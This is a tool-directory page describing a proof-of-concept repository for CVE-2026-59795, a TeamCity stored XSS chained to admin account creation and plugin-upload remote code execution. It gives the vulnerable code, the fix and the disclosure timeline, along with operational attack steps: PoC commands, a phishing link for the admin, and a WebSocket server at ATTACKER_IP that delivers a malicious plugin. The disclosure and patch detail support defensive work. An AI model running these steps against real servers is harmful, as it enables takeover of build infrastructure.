Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/joakimbulow/cve-2026-59795
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPayload Development
GitHubjoakimbulow/cve-2026-59795

CVE-2026-59795

Proof-of-concept for CVE-2026-59795: unauthenticated stored XSS in TeamCity agent details, chained to SYSTEM_ADMIN account creation and plugin-upload RCE.

View Repository
3 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-59795 - TeamCity Unauthenticated Stored XSS to RCE

Unauthenticated stored XSS in TeamCity's legacy agent-details page, escalating to server RCE with no restart. An attacker registers a build agent (no credentials required) with a malicious os.name, then gets an admin to view that agent's details page. The payload runs in the admin's authenticated session and can create a SYSTEM_ADMIN account or upload and load a malicious plugin.

Summary

CVECVE-2026-59795
AffectedTeamCity <= 2026.1.1 (build 222577)
Fixed in2026.1.2 (222647), 2025.11.6 (208214)
CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
TypeStored XSS (CWE-79), chainable to SYSTEM_ADMIN takeover and RCE
Auth requiredNone to plant the payload

Trigger: an admin views the malicious agent, either via a one-click crafted &fromSakuraUI=true link on the default Sakura UI, or with no phishing at all by opening the pending agent in the normal authorize workflow when the admin is on the classic UI (per-user "Use Sakura UI" unchecked, or server-wide classic mode).

Root cause

webapps/ROOT/agent/agentSummary.jsp renders the agent-reported OS name without escaping:

<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>

Full write-up with screenshots and background: https://joakimbulow.com/posts/cve-2026-59795/ The sibling agent name a few lines above uses <c:out>, confirming the omission is accidental. operatingSystemName is fully attacker-controlled: an unauthenticated agent sets it at registration (osName attribute in POST /app/agents/v1/register), and the server stores and echoes it verbatim.

The Sakura React UI escapes osName correctly and normally redirects away from the legacy page, but the redirect is skipped (and the unescaped JSP renders) when:

  • the admin opens the agent with ?fromSakuraUI=true in the URL (the redirect tag's own bypass flag), or
  • the admin is on classic UI (teamcity.ui.experimental=disableDefault, or the per-user "Use Sakura UI" opt-out), or
  • the admin clicked "View in classic UI" for that agent, or
  • the page is loaded in an iframe.

Impact

Confirmed live:

  • Pop alert(document.domain) in the admin's session, no side effects.
  • Create a new SYSTEM_ADMIN account in the admin's session (no RCE).
  • Full chain: XSS uploads a plugin to /admin/pluginUpload.html and enables it via /admin/plugins.html (EnableAllPlugins), which loads attacker Java into the running TeamCity JVM with no restart. Verified via a proof file written on the server host, 4 seconds after the admin's click.

Fix

Escape the output in agentSummary.jsp:

<strong><c:out value="${agent.operatingSystemName}"/></strong>

(The agent.version field on the line above has the same issue and needs the same fix.)

Requirements

  • A TeamCity <= 2026.1.1 server, default configuration
  • A TeamCity agent distribution, downloadable unauthenticated from the target: GET /update/buildAgent.zip
  • Python 3 (stdlib only)
  • javac on the attacker machine, only needed for the RCE PoC
  • Network path from the admin's browser to the attacker machine, only needed for the RCE PoC (WebSocket delivery)
curl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent

You don't need to hand-edit conf/buildAgent.properties; every PoC below sets serverUrl from its --url/--tc-url argument and rewrites the agent name per run, so it's safe to reuse the same unzipped evilagent/ directory repeatedly.

PoCs (./poc/)

Run these in order, each one confirms more impact than the last.

1. alert_only.py, confirm the XSS, zero side effects. Plants an agent whose osName pops alert(document.domain). No account created, no code executed.

python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent

2. attacker_deeplink.py, XSS to SYSTEM_ADMIN takeover, no RCE. Same plant, but the payload creates a SYSTEM_ADMIN account (eviladmin / Ev1l-Pass-123) and polls until that account can log in.

python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent

3. rce_ws_server.py, full chain, XSS to plugin upload to RCE, single terminal. Builds a plugin, starts the evil agent and a WebSocket server, and prints the phishing link. When the admin views it: XSS fires, the WS server delivers the plugin, it's uploaded and enabled, and TeamCity loads it at runtime.

python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
    --tc-url https://teamcity.example.com --agent-dir ./evilagent

Each PoC prints a link like:

https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true

Send that to the admin (Sakura UI, one click), or, if the admin is already on classic UI, just point them at agentDetails.html?id=N with no special parameter, e.g. via the normal pending-agent review flow.

Verifying RCE

Within a few seconds of the admin's click, on the TeamCity server host:

cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user:   <tc-process-user>
host:   <hostname>
java:   <java-version>
cwd:    <teamcity-bin-dir>
time:   <timestamp>

Split RCE setup (WebSocket server on the TeamCity host itself)

If the admin's browser can't reach your attacker machine directly, for example, you're only reachable through an SSH tunnel into the target, use rce_prepare.py to build the plugin and agent on your box, then transfer poc/ws_serve.py and the built plugin ZIP to the TeamCity host and serve them from there:

# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
    --ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip

# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337

Forward the WebSocket port through the same tunnel used to reach TeamCity (-L 1337:localhost:1337) so the admin's browser can reach it as ws://localhost:1337.

Cleanup note: each run registers a freshly named agent, so repeated runs won't collide, but each one leaves a new unauthorized agent behind. Remove them under Agents -> Unauthorized after testing.

Files

FilePurpose
poc/alert_only.pyTriage step 1, confirm the XSS with a harmless alert()
poc/attacker_deeplink.pyTriage step 2, XSS to SYSTEM_ADMIN takeover
poc/rce_ws_server.pyTriage step 3, full XSS to upload to RCE chain, single terminal
poc/rce_prepare.pySame RCE chain, split so the WebSocket server can run on the target host (tunnel setups)
poc/ws_serve.pyStandalone WebSocket file server used by rce_prepare.py's split setup
poc/poclib.pyShared helper: configures and launches the evil agent
poc/payloads.txtRaw XSS payload variants (alert, space-free, create-admin)

Disclosure timeline

DateEvent
2026-06-15Reported
2026-06-15Acknowledged
2026-06-17Fixed
2026-07-01Fix released, 2026.1.2 (222647) and 2025.11.6 (208214)
2026-07-10CVE published
2026-11-03POC published
Download Tool